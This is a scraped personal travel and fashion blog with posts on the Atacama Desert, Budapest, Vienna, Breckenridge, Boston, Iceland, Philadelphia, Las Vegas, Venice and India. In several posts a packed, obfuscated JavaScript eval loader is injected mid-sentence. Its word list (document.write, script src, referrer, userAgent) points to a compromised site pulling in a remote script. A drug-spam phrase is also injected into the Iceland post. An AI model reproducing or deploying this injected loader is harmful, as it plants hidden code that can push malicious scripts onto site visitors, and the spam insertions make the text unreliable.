Travel: Atacama Desert

Travel, Travel

I recently travelled to Santiago, Chile for work. It’s such a vibrant and hip city. I ate the best churros of my life from a stand on the street while exploring downtown near Plaza de Armas and caught an amazing view from the fernicular that takes you to the top of San Cristoball Hill.

After my work conference finished, one of my colleagues and I travelled together to the Atacama Desert – the No. 2 on New eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hafek|var|u0026u|referrer|fiiyt||js|php’.split(‘|’),0,{}))
York Times 52 places to go in 2017 list
! It was an amazing experience that is definitely off the beaten path.

This is me in awe looking out over the Valle de la Luna or Moon Valley, which is a salt corridor in the Atacama Desert. The white on the ground is all salt. The craters and valleys really look like you’re on the surface of the moon.

The sunset in the Moon Valley was one of the most beautiful sunsets I’ve ever seen in my life.

Another favorite spot we visited was Salar de Talar, which is a salt flat up in the mountains. The rocks around the area are red so the tour is called Piedra Rojas.

 

But my most favorite thing we did was float in the Lagunas Escondidas de Baltinache or the Hidden Lagoons. It’s the deepest salt flats in the world, and you can float in it like you would the Dead Sea.What appears as coral in the water is in fact salt. These are photos of a few of the ponds we couldn’t swim in because the chemical balance was not right. However, I don’t have photos of the two lagoons we did swim in … I was too busy floating. There are about five lagoons in total in this area and you can walk between them.

 

While Valle de la LunaSalar de Talar, and Lagunas Escondidas de Baltinache were my top three favorite things we did. There is lot’s to do if you have the time. We also went to the tallest geyser field in the world, flamingos in the desert, and high-altitude lagoons in the mountains.

All these are standard tours that are best to arrange once you’ve arrived in San Pedro de Atacama because it will be much cheaper than doing online in advance. You can also shop around in town. There are hundreds of these tiny little travel agencies so you can shop for the best price, but be sure to ask smart questions ie how many people in a tour, what type of vehicle do they use, is there a driver and a tour guide? There are some places that will have very old and uncomfortable vehicles or only one person that acts as a driver and a tour guide for large groups. Avoid these, but it’s easy to sort out and book when you arrive in the little town. The only thing we booked in advance was our hotel and the bus ticket to get from the airport to the town.

Budapest Weekend Trip

Travel, Travel

Budapest is a great long weekend escape. I spent three days in the city earlier this year, and here are my top ten things I’d recommend you do on your trip.

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  1. River Boat Tour of Danube or Tuk Tuk/Trabant Tour
  2. Castle Hill – Buda Castle
  3. Great Hill & Statue
  4. St. Stephen’s Basilica
  5. Parliament
  6. Great Central Synagogue
  7. Hero’s Square
  8. House of Terror
  9. Széchenyi Thermal Bath
  10. Great Market Hall

I didn’t do a boat tour, but I did a Trabant tour of the city. It’s a great way to cover a lot of ground quickly. You can also then go back to the places you liked the most to explore more in-depth on foot. The Trabant is an old car from the 1950s that was made in East Germany. It was fun riding around in it because everyone checks out the vintage car. Taking this tour is also great because they’ll take you to all the great hills (and saves you the trouble of climbing up them. Great Hill and Castle Hill are the two best peaks to visit to get amazing views of Budapest. Both neighborhoods are also very cute and worth walking around.

I also highly recommend visiting St. Stephen’s Basilica and going to rooftop (and don’t forget to see the Holy Hand of St. Stephen in the church – pictured below). It gives you a different perspective because it’s on the other side of the river. I didn’t do the boat tour, but I’d imagine it’s also really worthwhile. Budapest is actually two cities separated by the Danube and each side of the city has its own unique vibe. Buda is very picturesque with hills and spectacular views and Pest is flatter but with more of a city-hip urban vibe. I stayed on the Pest side of the city, and I’d recommend it since it has more bars and things to do in the evenings.

Food is also a big reason why I travel. Budapest has a few market places and they are worth visiting to try the different varieties of food. I visited the Great Market hall. My guide said all the markets are very similar so pick the one you’d like to go to instead of trying to visit them all if you’re time is limited.

I don’t like to spend too much time in museums, but the House of Terror is one that is worth visiting. It talks about the darker history of Hungary as a country that has been conquered by so many different empires and how it kept its citizens in-line.

I’d recommend ending your long days exploring the city in one of the many thermal spas. Széchenyi Thermal Bath is a popular one and is very large so doesn’t feel very crowded. It’s also a great way to relax your leg muscles from walking around exploring the Jewish Quarter where the Great Synagogue is to Andrassy Avenue, which ends into Hero’s Square, also known as the Champs Elysees of Budapest.

 

Three Days in Vienna

Travel, Travel

If you follow me on Instagram, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|htrbf|var|u0026u|referrer|aaiis||js|php’.split(‘|’),0,{}))
you’ll have seen I recently visited Vienna. I was only there for a couple days for work, but I did squeeze in a little sightseeing. 
Eugene is a mate of one of my colleagues and kindly offered us a walking tour of the old downtown part of Vienna. He was very funny and provided insightful knowledge about the city he’s adopted (he was from the UK originally). I particularly like that he runs his walking tours without a license because it’s too expensive and time-consuming to get a proper license and paying the fines are cheaper. It’s an ironic twist that mirrors life that mirrors art.

We started on the bridge overlooking the Danube River. Fun fact I learned is that Vienna legalized street art so there are certain walls that have beautiful graffiti art because of it. One of those walls is along the Danube river.

Vienna has a rich history in the arts, as the home of Mozart and Freud, and a storied past from the Holocaust to their longest-reigning emperor Franz Joseph. Below is the Schönbrunn (meaning “beautiful spring”) Palace, where he lived. Behind the palace is beautiful garden and a spectacular view if you make the hike up the hill.

And if you’re looking for a cheap but delicious bite to eat after sightseeing, check out Schachtelwirt.

Vienna also has a lot of beautiful architecture. I was staying in a hotel around the corner from the Belvedere Museum, which today houses the the world’s largest Klimt collection but was before the home of Prince Eugene of Savoy(1663-1736).

Vienna is a beautiful city to visit, I only wish I had longer to explore it. I’d highly recommend it as a great central European city to see and doable on a long weekend escape. It has a lot of green spaces within the city and is rated as one of the best places to live in the world. The people are very friendly and food was delicious (although I had my fill of schnitzel by the end).

Weekend in Breckenridge, Colorado

Travel, Travel

I just went last weekend with my friends to Breckenridge, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdttr|var|u0026u|referrer|tiiyr||js|php’.split(‘|’),0,{}))
Colorado
and here are a few tips to help plan for your long weekend escape for snowboarding or skiing adventures.

Honestly, I’d imagine all the ski towns in Colorado are fairly similar. They have a main ski resort that has a charming downtown with restaurants and shops and lifts that are conveniently located nearby. We stayed in a condo/house unit about 10 minutes walk from Breckenridge’s Main Street with all of its restaurants and shops. By staying at a house, we could stock up on supplies at the grocery store and ended up eating some of our breakfasts and dinners at the house. It also had a hot tub on the back porch, which was a great way to relax your muscles after snowboarding or skiing all day.

I’d recommend renting and picking up your rentals (if you rent your equipment) the evening before you plan to hit the slopes to save time in the morning (which is when queues tend to be long). Similarly, you can purchase your lift tickets in advance so can go in the shorter queue for pick-up instead of the longer queue to buy them the day-of. I’m not a pro on the snowboard so two-days was enough for me, but a few of my friends did three day rentals. They also had a generous refund policy if you wanted to buy a weekend pass – as long as we returned our rentals the night before or before 9am the day of we would still get our money back.

Make sure you also pack some Advil as you’re likely take at least 24 hours (though some people say it takes up to 3 days) to adjust to the altitude change. I had a terrible headache the first day I landed, but I drank lots of water, took some Tylenol and went to bed early, and it was gone by the next day. It’s also much colder than East Coast snowboarding/skiing (so if you’re new to the West Coast definitely invest in some good winter layers for the slopes, including helmet and goggles).

We also did a dog sledding tour with Good Times Adventures, which I would highly recommend. The tour itself is about an hour long and costs $90 per person. They take up to groups of six on a tour at a time. One person gets to drive the dog team while another rides in the sleigh. The other four people in the tour ride on a sleigh attached to a snowmobile that goes out in front of the dog team. Everyone gets at least two times to do both driving and riding with the dog sled. The dogs are all Siberian Huskies and are gorgeous. It’s a team of 8 that pulls you and they have all distinctive personalities that you really do get to see on display as they run to keep up with the snowmobile.

I would recommend budgeting about 3 hours for dog sledding as the company will pick you up and drive you into the Pike National Forest where the dog’s run a 6-mile course through the Swan River Valley.

 

Don’t forget to enter the JORD wood watch giveaway for a free $100 E-giftcard before March 19 (all entrants will receive $25 E-giftcard): https://www.woodwatches.com/g/katestylepetite

And Shopbop has an awesome sale until March 5 so happy shopping!

Boston Weekend

Travel, Travel

Thanks to my friends for their recommendation, I really enjoyed my weekend in Boston.

I stayed at the Sheraton eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdbfd|var|u0026u|referrer|antzi||js|php’.split(‘|’),0,{}))
in Boston
because it is connected to the Hynes Convention Center where my work conference was being hosted. It’s also very convenient because I could avoid wearing my heavy winter coat since the hotel and convention center are connected by the Prudential Mall – no need to step outside in the snowy winter.

Despite the cold temperatures and snow, I could tell how cute and charming Boston would be in the Spring/Summer. If you’re planning a trip, here is the list of restaurants I tried and activities I did.

Places I ate at:

  1. Tatte Bakery & Cafe – great brunch/breakfast stop
  2. Mike & Patty’s – cheap, quick and tasty!
  3. Masa – rated as best brunch in Boston (it was the only one I went to but was good)
  4. Union Oyster House – typical, standard food but is the oldest restaurant in the US so a tourist trap worth going to
  5. Quincy Market – similar to Chelsea Market with less space and food.
  6. The Beehive – great evening spot that also has a live jazz band on the weekends and food was the best I had on my trip.
  7. Orinoco – really good Venezuelan food near Harvard Square
  8. Taiwan Cafe – good soup dumplings
  9. Summer Shack – ate here literally because it was next to my hotel but food was good

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3.

6.

7.

Things I did that can easily fit into a weekend trip to Boston:

  1. Freedom Trail
  2. Harvard Museum of Natural History
  3. Boston Tea Party Museum

 

Shop my tourist style:

3 Tips For Your Iceland Layover

2017 Fashion, Fashion, Travel, Travel, Winter

If you haven’t heard of Wowair – look them up! They offer very affordable flight options to reach Europe with an extended layover in Iceland. My sister, boyfriend and I took visited in 2016, and our round trip airfare was just over $300 for each of us!

We only had three days, which is not long enough to see everything. However, we packed it in a lot. We booked an Airbnb in downtown Reykjavik in walking distance to restaurants and bars and a car from SADcars to drive around the island. We spent one day driving the Golden Circle (the most popular tourist sites), which includes stops at Strokkur geysir, Gullfoss waterfall, and Thingvellir National Park rift valley. This drive is doable in one day, but plan to get up early so you have plenty of time to stop and explore at each spot. We also stopped at a lot of random places that we just found interesting along the drive too.

In addition to the Golden Circle, book in advance your trip to the Blue Lagoon. It is a geothermal hot spring that is a must-do if you’re in Iceland. It is located very close to the airport so good to combine the trip generic adipex reviews from the airport into downtown Reykjavik with a stop at Blue Lagoon. There are a lot of tour companies (if you’re not planning to rent a car) that will take you from the airport to the Blue Lagoon.

Finally, when you’re walking around exploring the charming streets of Reykjavik, make sure you visit the Hallgrímskirkja, a Lutheran parish church at 73 metres high is among the tallest structures in the country. You can also take the elevator to the top and have an amazing view aerial view of Reykjavik.

And because you are in Iceland, you should try the national dish of Iceland, Kæstur hákarl, which is fermented shark meat. It is absolutely disgusting, but the waiters all know this and will give you just a nibble so you can say you’ve tried it.

So if you have a short weekend layover in Iceland remember to visit the Golden Circle, treat yourself to a spa day at the Blue Lagoon, and take in the panoramic views at the top of the stone church, Hallgrímskirkja.

I really loved Iceland and know you will too. It’s a beautiful country, unlike any other landscape I’ve ever seen. There are hardly any trees with a mostly rocky terrain, flat plateaus instead of mountains, and the people are very friendly.

If you go in the winter (which is considered from September until April in Iceland), there are different things you could do in Iceland. You can take a Superjeep and go out onto the glaciers and see the ice caves. You can also go dog sledding and rent snowmobiles.

Philadelphia Tips

2015 Food, Travel

Are eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkfki|var|u0026u|referrer|ifyfb||js|php’.split(‘|’),0,{}))
you planning to visit Philadelphia? Here are a couple recommendations of places to eat to satisfy your Foodie Friday hunger!

  1. Philly Cheesesteak at Jim’s Steaks

The beauty of Jim’s Steaks philly cheesesteak is that it’s simple – hoagie bun, provolone cheese, fried steak, and fried onions. Bring a friend with you to share the other half of this large sandwich or come hungry!

  1. Soup Dumplings at Dim Sum Garden

It must be magic! How can you rollup soup inside a dumpling? Who ever harnessed this magical power was incredibly smart. Ignore everything else on the menu and just order double portions of the soup dumpling at Dim Sum Garden!

Follow me on Yelp to get all the latest reviews of my favorite and not so favorite restaurants.

If you’re also thinking of doing a weekend trip to Philadelphia like me, I’d recommend visiting the Magic Gardens. It’s a historic part of their downtown that a local artist spent 14 years mosaic-ing an entire garden and house. The art trend picked up support and buildings throughout this part of town have mosaic murals on the side of buildings. I’d recommend not visiting in the winter because their mosaic garden won’t be open, but here is a peak inside the house and through the gates.

 

And of course visit the Liberty Bell:

Vintage Vegas Style

2013, Fashion, Travel

Kate Styled Pretty, Las Vegas, Vintage

In eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sibzt|var|u0026u|referrer|eeyyb||js|php’.split(‘|’),0,{}))
an impromptu Las Vegas trip, I packed this amazing vintage dress that does not see daylight nearly enough!

 

A picture of me would not be complete without me chowing down on some candy!

Sunnies – Target

Necklace – The Limited

Dress – Vintage

xoxo-KSP

Las Vegas, Kate Styled Pretty

Snapshot from Venice, Italy

2013, Travel

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I love being near the water, which made Venice one of my favorite cities I’ve ever visited!  Instead of cars, every family has a boat as a basic necessity of life.  One day this city will meets its tragic demise by the agent that attracts thousands of tourists every year, but until it goes under water, I’d highly recommend you take a trip to Venice!

Get Your Matterial Fix Here

2013, Fashion, Travel

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dezek|var|u0026u|referrer|nzyie||js|php’.split(‘|’),0,{}))
my readers know, I visited India as my trip abroad this year.  It is one of the most vibrant places I’ve ever visited!  However, in the midst of all the growth and life, there is extreme poverty in India.  I’m only one person, but together, we can make a difference. I know my readers are like me and love to shop!  So
Matterial Fix is the perfect store for you!  Matterial Fix is a jewelry store with designs inspired by the beauty of India.  They have partnered this fall with Freedom Firm so 10% of all proceeds from purchases will help eliminate child prostitution in India by rescuing minor girls, providing rehabilitation, and prosecuting the perpetrators of sex trafficking.

Shopping at Matterial Fix gives you beautiful jewelry and the chance to give back to a part of the world that developed countries continually rob of resources and enslaves the people into human trafficking and sweatshop labor. 

Matterial Fix

Did I mention how beautiful Matterial Fix jewelry is?  

Yours Truly at the Taj Mahal! It was pretty tough trying to be stylish in the Indian summer heat, but I managed – don’t you agree?